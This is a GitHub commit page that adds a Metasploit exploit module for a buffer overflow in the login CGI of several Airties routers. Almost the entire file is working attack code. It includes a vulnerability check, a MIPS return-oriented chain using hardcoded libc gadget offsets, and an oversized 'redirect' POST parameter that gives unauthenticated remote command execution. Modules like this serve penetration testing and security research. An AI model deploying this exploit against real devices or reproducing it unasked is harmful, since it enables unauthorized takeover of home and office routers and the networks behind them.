Skip to content

Commit 58099d0

Browse files
author
m-1-k-3
committed
airties login bof module
1 parent b6df023 commit 58099d0

File tree

1 file changed

+121
-0
lines changed

1 file changed

+121
-0
lines changed
Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Airties login cgi Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits an remote buffer overflow vulnerability on several Airties routers.
19+
The vulnerability exists in the handling of HTTP queries to the login cgi with
20+
long redirect parameter values. The vulnerability can be exploitable without authentication.
21+
This module has been tested successfully on Airties firmware AirTies_Air5650v3TT_FW_1.0.2.0.bin
22+
in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453,
23+
Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
24+
},
25+
'Author' =>
26+
[
27+
'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
28+
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'Platform' => ['linux'],
32+
'Arch' => ARCH_MIPSBE,
33+
'References' =>
34+
[
35+
['EDB', '36577'],
36+
['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory
37+
['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'], #PoC
38+
],
39+
'Targets' =>
40+
[
41+
[ 'AirTies_Air5650v3TT_FW_1.0.2.0',
42+
{
43+
'Offset' => 359,
44+
'LibcBase' => 0x2aad1000,
45+
'RestoreReg' => 0x0003FE20, # restore s-registers
46+
'System' => 0x0003edff, # address of system-1
47+
'CalcSystem' => 0x000111EC, # calculate the correct address of system
48+
'CallSystem' => 0x00041C10, # call our system
49+
'PrepareSystem' => 0x000215b8, # prepare $a0 for our system call
50+
}
51+
]
52+
],
53+
'DisclosureDate' => 'Mar 31 2015',
54+
'DefaultTarget' => 0))
55+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
56+
end
57+
58+
def check
59+
begin
60+
res = send_request_cgi({
61+
'uri' => "/cgi-bin/login",
62+
'method' => 'GET'
63+
})
64+
65+
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
66+
return Exploit::CheckCode::Detected
67+
end
68+
rescue ::Rex::ConnectionError
69+
return Exploit::CheckCode::Unknown
70+
end
71+
72+
Exploit::CheckCode::Unknown
73+
end
74+
75+
def exploit
76+
print_status("#{peer} - Accessing the vulnerable URL...")
77+
78+
unless check == Exploit::CheckCode::Detected
79+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
80+
end
81+
82+
print_status("#{peer} - Exploiting...")
83+
execute_cmdstager(
84+
:flavor => :echo,
85+
:linemax => 100
86+
)
87+
end
88+
89+
def prepare_shellcode(cmd)
90+
shellcode = rand_text_alpha_upper(target['Offset']) # padding
91+
shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values
92+
shellcode << rand_text_alpha_upper(36) # padding
93+
shellcode << [target['LibcBase'] + target['System']].pack("N") # s0 - system address-1
94+
shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4
95+
shellcode << [target['LibcBase'] + target['CallSystem']].pack("N") # $s5 - call system
96+
shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7
97+
shellcode << [target['LibcBase'] + target['PrepareSystem']].pack("N") # write sp to $a0 -> parameter for call to system
98+
shellcode << rand_text_alpha_upper(28) # padding
99+
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("N") # add 1 to s0 (calculate system address)
100+
shellcode << cmd
101+
end
102+
103+
def execute_command(cmd, opts)
104+
shellcode = prepare_shellcode(cmd)
105+
begin
106+
res = send_request_cgi({
107+
'method' => 'POST',
108+
'uri' => "/cgi-bin/login",
109+
'encode_params' => false,
110+
'vars_post' => {
111+
'redirect' => shellcode,
112+
'user' => rand_text_alpha(5),
113+
'password' => rand_text_alpha(8)
114+
}
115+
})
116+
return res
117+
rescue ::Rex::ConnectionError
118+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
119+
end
120+
end
121+
end

0 commit comments

Comments
 (0)